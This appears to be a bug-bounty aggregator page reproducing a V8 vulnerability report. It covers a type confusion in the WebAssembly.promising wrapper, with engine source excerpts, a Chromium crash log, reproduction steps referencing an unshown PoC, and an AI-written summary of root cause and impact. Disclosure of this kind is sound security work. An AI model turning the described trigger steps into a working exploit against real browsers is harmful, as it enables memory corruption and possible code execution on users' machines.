dcheck(paramKind == ValueKind::kRef || paramKind == ValueKind::kRefNull);
nextIndex++;
hasTaggedParams = true;
}
}
// Second loop for tagged parameters.
if (hasTaggedParams) {
locationAllocator.StartRefs();
nextIndex = 1;
paramIt = paramTypes.Iterator();
while (!paramIt.Empty()) {
const paramType = paramIt.NextNotEmpty();
const paramKind = paramType & kValueTypeKindBitsMask;
if (paramKind == ValueKind::kRef || paramKind == ValueKind::kRefNull) {
const slot = locationAllocator.GetGPSlot();
const rawRef = *slot;
const value = BitcastWordToTagged(rawRef);
outParams.objects[nextIndex] =
WasmToJSObject(ref.native_context, value, paramType); //------>[14]
}
nextIndex++;
}
}
const target = ref.callable;
const context = ref.native_context;
// Reset the signature on the stack, so that incoming parameters don't get
// scanned anymore.
*GetRefAt<intptr>(sigSlot, 0) = 0;
const result = CallVarargs(
context, target, 0, Convert<int32>(numStackParams), outParams); //----->[13]
// Put a marker on the stack to indicate to the frame iterator that the call
// to JavaScript is finished. For asm.js source positions it is important to
// know if an exception happened in the call to JS, or in the ToNumber
// conversion afterwards.
*GetRefAt<intptr>(sigSlot, 0) = BitcastTaggedToWord(SmiConstant(-1));
let resultFixedArray: FixedArray;
if (returnCount > 1) {
resultFixedArray =
IterableToFixedArrayForWasm(context, result, Convert<Smi>(returnCount));
} else {
resultFixedArray = kEmptyFixedArray;
}
const gpRegSlots = %RawDownCast<RawPtr<intptr>>(StackSlotPtr(
2 * torque_internal::SizeOf<intptr>(),
torque_internal::SizeOf<intptr>()));
const fpRegSlots = %RawDownCast<RawPtr<float64>>(StackSlotPtr(
2 * torque_internal::SizeOf<float64>(),
torque_internal::SizeOf<float64>()));
// The return area on the stack starts right after the stack area.
const stackSlots =
locationAllocator.GetAlignedStackEnd(StackAlignmentInBytes());
locationAllocator =
LocationAllocatorForReturns(gpRegSlots, fpRegSlots, stackSlots);
let returnIt = returnTypes.Iterator();
nextIndex = 0;
let hasTagged: bool = false;
while (!returnIt.Empty()) {
let retVal: JSAny;
if (returnCount == 1) {
retVal = result;
} else {
retVal = UnsafeCast<JSAny>(resultFixedArray.objects[nextIndex]);
}
const retType = returnIt.NextNotEmpty();
if (retType == kWasmI32Type) {
let toRef = locationAllocator.GetGPSlot();
typeswitch (retVal) {
case (smiVal: Smi): {
*toRef = Convert<intptr>(Unsigned(SmiToInt32(smiVal)));
}
case (heapVal: JSAnyNotSmi): {
*toRef = Convert<intptr>(Unsigned(WasmTaggedNonSmiToInt32(heapVal)));
}
}
} else if (retType == kWasmF32Type) {
let toRef = locationAllocator.GetFP32Slot();
if constexpr (kIsFpAlwaysDouble || kIsBigEndian || kIsBigEndianOnSim) {
HandleF32Returns(context, locationAllocator, toRef, retVal);
} else {
*toRef = Convert<intptr>(Bitcast<uint32>(WasmTaggedToFloat32(retVal)));
}
} else if (retType == kWasmF64Type) {
let toRef = locationAllocator.GetFP64Slot();
*RefCast<float64>(toRef) = ChangeTaggedToFloat64(retVal);
} else if (retType == kWasmI64Type) {
if constexpr (Is64()) {
let toRef = locationAllocator.GetGPSlot();
const v = TruncateBigIntToI64(context, retVal);
*toRef = v;
} else {
let toLowRef = locationAllocator.GetGPSlot();
let toHighRef = locationAllocator.GetGPSlot();
const bigIntVal = ToBigInt(context, retVal);
const pair = BigIntToRawBytes(bigIntVal);
*toLowRef = Signed(pair.low);
*toHighRef = Signed(pair.high);
}
} else {
const retKind = retType & kValueTypeKindBitsMask;
dcheck(retKind == ValueKind::kRef || retKind == ValueKind::kRefNull);
dcheck(ref.instance == Undefined || Is<WasmInstanceObject>(ref.instance));
const trustedData = ref.instance == Undefined ?
Undefined :
LoadTrustedDataFromInstance(
UnsafeCast<WasmInstanceObject>(ref.instance));
const converted = JSToWasmObject(context, trustedData, retType, retVal);
let toRef = locationAllocator.GetGPSlot();
if (returnCount == 1) {
// There are no other values, we can write the object directly into the
// result buffer.
*toRef = BitcastTaggedToWord(converted);
} else {
// There may be other parameters that could still trigger a GC when they
// get transformed. For now we just store the converted value back in
// the FixedArray.
hasTagged = true;
resultFixedArray.objects[nextIndex] = converted;
}
}
nextIndex++;
}
if (hasTagged) {
returnIt = returnTypes.Iterator();
nextIndex = 0;
locationAllocator =
LocationAllocatorForReturns(gpRegSlots, fpRegSlots, stackSlots);
while (!returnIt.Empty()) {
const retType = returnIt.NextNotEmpty();
if (retType == kWasmI32Type) {
locationAllocator.GetGPSlot();
} else if (retType == kWasmF32Type) {
locationAllocator.GetFP32Slot();
} else if (retType == kWasmF64Type) {
locationAllocator.GetFP64Slot();
} else if (retType == kWasmI64Type) {
if constexpr (Is64()) {
locationAllocator.GetGPSlot();
} else {
locationAllocator.GetGPSlot();
locationAllocator.GetGPSlot();
}
} else {
let toRef = locationAllocator.GetGPSlot();
const value = resultFixedArray.objects[nextIndex];
*toRef = BitcastTaggedToWord(value);
}
nextIndex++;
}
}
const popCount =
(Convert<intptr>(stackSlots) - Convert<intptr>(stackParamStart)) /
torque_internal::SizeOf<intptr>() +
numFixedSlots;
ModifyThreadInWasmFlag(1);
const wasmToJSResult = WasmToJSResult{
popCount: popCount,
result0: *GetRefAt<intptr>(gpRegSlots, 0),
result1: *GetRefAt<intptr>(gpRegSlots, torque_internal::SizeOf<intptr>()),
result2: *GetRefAt<float64>(fpRegSlots, 0),
result3: *GetRefAt<float64>(fpRegSlots, torque_internal::SizeOf<float64>())
};
if (Convert<uintptr>(oldSP) != 0) {
SwitchFromTheCentralStack(oldSP, ref.callable);
}
return wasmToJSResult;
}
We show below the results triggered on chromium:
Proof of Concept with chromium: see attached chromium.html
Chromium output log:
$ out/release/chrome http://localhost:8000 --enable-features=Vulkan
[2382187:2382187:0524/212959.800176:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.ScreenSaver.GetActive: object_path= /org/freedesktop/ScreenSaver: org.freedesktop.DBus.Error.NotSupported: This method is not implemented
Received signal 11 SEGV_ACCERR 7ece00000000
#0 0x7fd66c0cfb92 base::debug::CollectStackTrace()
#1 0x7fd66c0b558e base::debug::StackTrace::StackTrace()
#2 0x7fd66c0cf591 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7fd65a042520 (/usr/lib/x86_64-linux-gnu/libc.so.6+0x4251f)
#4 0x7fd660cfe284 Builtins_WasmToJsWrapperCSA
r8: 00007ece00051971 r9: 0000000000000000 r10: 00007fd660628838 r11: 00001931ff67ee18
r12: 000021bb000407c1 r13: 000005d400194080 r14: 00007ece00000000 r15: 00007ece00000000
di: 000005d4001a20f8 si: 0000000000000000 bp: 00001931ff67ef18 bx: 0000000000000000
dx: 0000000000000000 ax: 0000000000000000 cx: 00007ece0005197c sp: 00007ffd35e414c0
ip: 00007fd660cfe284 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000007
trp: 000000000000000e msk: 0000000000000000 cr2: 00007ece00000000
[end of stack trace]
../../sandbox/linux/seccomp-bpf-helpers/sigsys_handlers.cc:**CRASHING**:seccomp-bpf failure in syscall nr=0x25 arg1=0x5 arg2=0x7ffd35e400f0 arg3=0x0 arg4=0x7fd65a006a38
And you can watch the attached picture chromium.png.
Other
No flag is required to execute the POC, however, it is possible to scramble memory space by inserting gc function call in places so that SIGSEGV is triggered instead of SIGTRAP.
VERSION Tested on v8 version: 12.7.0 - 12.7.0
REPRODUCTION CASE
- Download debug v8 from: gs://v8-asan/linux-debug/d8-linux-debug-v8-component-94015.zip
- Run:
d8 poc.js
FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION Type of crash: tab
CREDIT INFORMATION Reporter credit: Zhenghang Xiao (@Kipreyyy)
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the promising wrapper passes the instance data as the first argument to the wasm-to-JS call target, which expects a WasmApiFunctionRef, so the two object layouts are confused.
Impact
An attacker could cause a type confusion that reads protected pointers and, with heap spraying, control a register and crash the engine, with the report suggesting further exploitation is possible.
What the attacker needed
Ability to run WebAssembly in V8; a crafted module and script
How it was found
- Compile a WebAssembly module that imports a JavaScript function and exports it under the name main.
- Pass the exported function to WebAssembly.promising.
- Call the resulting function so the promising wrapper runs and reaches the wasm-to-JS call target.
- Observe the type confusion and the crash in the debug build.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WebAssembly lets code from other languages run in the browser, and V8 is the engine that runs it. A type confusion means the engine mistakes one kind of internal object for another, so it reads fields at the wrong places. Here that mistake lets an attacker influence memory addresses, which can crash the browser and may lead to code execution.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.